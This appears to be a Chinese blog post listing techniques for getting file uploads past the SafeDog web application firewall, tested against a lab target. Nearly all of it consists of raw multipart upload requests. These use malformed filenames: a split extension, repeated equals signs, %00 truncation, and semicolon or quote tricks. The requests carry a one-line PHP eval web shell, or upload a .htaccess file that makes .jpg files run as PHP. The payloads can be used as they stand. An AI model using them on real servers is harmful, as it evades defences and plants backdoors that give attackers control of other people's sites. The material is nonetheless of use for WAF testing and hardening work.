文件上传绕过WAF

文件上传

文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定
enctype为multipart/from-data才能正常上传文件。

此处不讲各种中间件解析漏洞只列举集几种safe_dog对脚本文件上传拦截的绕过
靶机环境:win2003+safe_dog4.0.23957+webug中的上传

1、换行

Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
-----------------------------127619278770

2、多个等号(不止2,3个)

Content-Disposition: form-data; name="file"; filename=="2.php"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
-----------------------------127619278770

Content-Disposition: form-data; name="file"; filename==="3.php"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
-----------------------------127619278770

3、00截断

Content-Disposition: form-data; name="file"; filename="4.php%00"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
-----------------------------127619278770

4、文件名+;号

Content-Disposition: form-data; name="file"; filename="6;.php"
Content-Type: image/jpeg
<?php phpinfo()?>
-----------------------------127619278770


5、文件名+‘

Content-Disposition: form-data; name="file"; filename="7'.php"
Content-Type: image/jpeg
<?php phpinfo()?>
-----------------------------127619278770


6、上传.htaccess

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-php jpg
-----------------------------127619278770



posted @ 2019-10-10 22:27  cwkiller  阅读(2515)  评论(0编辑  收藏  举报